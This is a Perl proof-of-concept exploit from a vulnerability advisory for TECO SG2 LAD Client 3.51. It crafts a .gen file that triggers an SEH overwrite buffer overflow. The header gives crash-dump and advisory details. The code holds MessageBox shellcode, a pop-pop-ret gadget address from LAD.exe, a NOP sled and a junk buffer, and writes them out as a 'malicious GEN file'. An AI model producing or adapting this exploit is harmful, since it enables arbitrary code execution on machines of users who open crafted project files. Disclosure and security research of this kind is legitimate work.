#!/usr/bin/perl # # # TECO SG2 LAD Client 3.51 SEH Overwrite Buffer Overflow Exploit # # # Vendor: TECO Electric and Machinery Co., Ltd. # Product web page: http://www.teco-group.eu # Download: http://globalsa.teco.com.tw/support_download.aspx?KindID=9 # Affected version: 3.51 and 3.40 # # Summary: SG2 Client is a program that enables to create and edit applications. # The program is providing two edit modes, LADDER and FBD to rapidly and directly # input the required app. The Simulation Mode allows users to virtually run and test # the program before it is loaded to the controller. # # Desc: The vulnerability is caused due to a boundary error in the processing of a # Genie LAD file, which can be exploited to cause a buffer overflow when a user opens # e.g. a specially crafted .GEN file. Successful exploitation could allow execution # of arbitrary code on the affected machine. # # --------------------------------------------------------------------------------- # (10bc.1358): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=00000000 ebx=00000000 ecx=43434343 edx=7794b4ad esi=00000000 edi=00000000 # eip=43434343 esp=0018dc24 ebp=0018dc44 iopl=0 nv up ei pl zr na pe nc # cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246 # 43434343 ?? ??? # 0:000> !exchain # 0018dc38: ntdll!LdrRemoveLoadAsDataTable+d64 (7794b4ad) # 0018e1d4: ntdll!LdrRemoveLoadAsDataTable+d64 (7794b4ad) # 0018e800: MFC42!Ordinal1580+373 (708df2fc) # 0018f098: 43434343 # Invalid exception stack at 42424242 # --------------------------------------------------------------------------------- # # Tested on: Microsoft Windows 7 Professional SP1 (EN) 64bit # Microsoft Windows 7 Ultimate SP1 (EN) 64bit # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2015-5275 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5275.php # # # 09.10.2015] # # 113 bytes MessageBox shellcode my $sc = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42". "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03". "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b". "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e". "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c". "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x65\x64". "\x21\x01\x68\x20\x50\x77\x6e\x68\x20\x5a\x53\x4c\x89\xe1\xfe". "\x49\x0b\x31\xc0\x51\x50\xff\xd7"; # Address = 0041D659 # Message = 0x0041d659 : pop edi # pop esi # ret 0x04 # startnull {PAGE_EXECUTE_READ} [LAD.exe] # ASLR: False; # Rebase: False; # SafeSEH: False; # OS: False; # v0.2.9.0 (C:\Program Files (x86)\TECO\SG2 Client\LAD.exe) my $file = "lad.gen"; my $junk = "\x41" x 21750 . "\xEB\x08\x90\x90" . "\x59\xd6\x41\x00" . "\x90" x 28 . $sc . "\x90" x 20; open($FILE,">$file"); print $FILE "$junk"; close($FILE); print "Malicious GEN file created successfully!\n";